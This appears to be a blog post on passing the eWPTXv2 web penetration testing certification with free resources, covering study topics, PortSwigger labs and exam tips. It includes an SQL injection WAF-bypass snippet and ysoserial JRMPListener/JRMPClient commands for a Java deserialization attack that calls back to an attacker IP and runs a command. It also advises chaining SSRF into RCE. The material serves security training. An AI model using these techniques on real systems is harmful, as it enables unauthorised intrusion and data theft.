How I passed eWPTXv2 with Free courses only
A comprehensive guide on how to pass the eWPTXv2 certification using only free resources.
Table of Contents
Why did I create this guide?
I created this guide to answer the question: ‘Is it possible to pass the eWPTXv2 without paying for INE’s course?’ Yes, it is possible, and I’ll show you how I did it!
What and where to learn
I used the eWPTXv2 syllabus to make a list of topics to study.
You can use PortSwigger’s Academy to learn about most vulnerabilities:
- SQL Injection
- Authentication
- OAuth
- JWT Attacks
- Directory traversal
- Command Injection
- Information Disclosure
- Access Control
- SSRF
- XXE Injection
- XSS
- CORS
- CSRF
- Clickjacking
- SSTI
- API Testing
- GraphQL API
- Insecure deserialization
PortSwigger covers most of the material you need to learn. However, there are some additional things that I recommend studying as well:
- Learn how to bypass SQL Injection WAF. Example:
SELECT+1+ FROM users
SELECT/**/1/**/FROM/**/users
- Learn how to use SQLMap.
- Learn how to use ysoserial’s JRMP Listener/Client.
- Usage example:
1
2
3
4
5
//The JRMPClient causes the server to try establishing a TCP connection to the supplied IP address.
// 1. Start the JRMPListener:
sudo java11 -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections1 "ping -c 5 10.100.13.200"
// 2. Create a payload with JRMPClient:
sudo java11 -jar ysoserial-all.jar "JRMPClient" "10.100.13.200:80" | base64 -w0
Required Tools
You need to learn the tools below to pass the exam:
- Burp Suite Community
- Any directory brute-forcer you like: ffuf, gobuster, etc…
- SQLMap
- ysoserial
Practice
Below is a list of labs I used to prepare for the exam:
Business Logic Vulnerabilities
DOM-Based Vulns
Information disclosure
- OS Command Injection
File upload vulnerabilities
- Path Traversal
Access Control
Authentication Vulnerabilities
Business Logic Vulnerabilities
JWT Attacks
API Testing
OAuth authentication
- SQL Injection
- I Recommend doing this manually and using SQLMap.
- Querying the database type and version on MySQL and Microsoft
- SQL injection UNION attack, retrieving data from other tables
- Blind SQL injection with time delays and information retrieval
- Blind SQL injection with out-of-band data exfiltration
- SQL injection with filter bypass via XML encoding
XSS
CSRF
XXE
- Clickjacking
- CORS
- SSTI
SSRF
Insecure Deserialization
Useful Tips
If you see an SSRF vulnerability, try to chain it with SSTI or Java Deserialization to gain RCE.
The lab environment isn’t very stable, so take screenshots of the vulnerabilities you find immediately. This is important because you need to write a report at the end. I actually failed my first attempt because I couldn’t replicate two critical vulnerabilities, so I couldn’t take the required screenshots.
You tried to exploit the
X
vulnerability during the exam, but it didn’t work. If you’re sure about the payload you sent, don’t forget to restart the lab environment.To pass the exam, you need to fully exploit every identified vulnerability. For example, if you find a SQL injection vulnerability, you need to exploit it to dump the database.
I recommend creating a report template in Sysreport, so you only need to insert the vulnerabilities you find during the exam. This made the process of writing a report much quicker for me.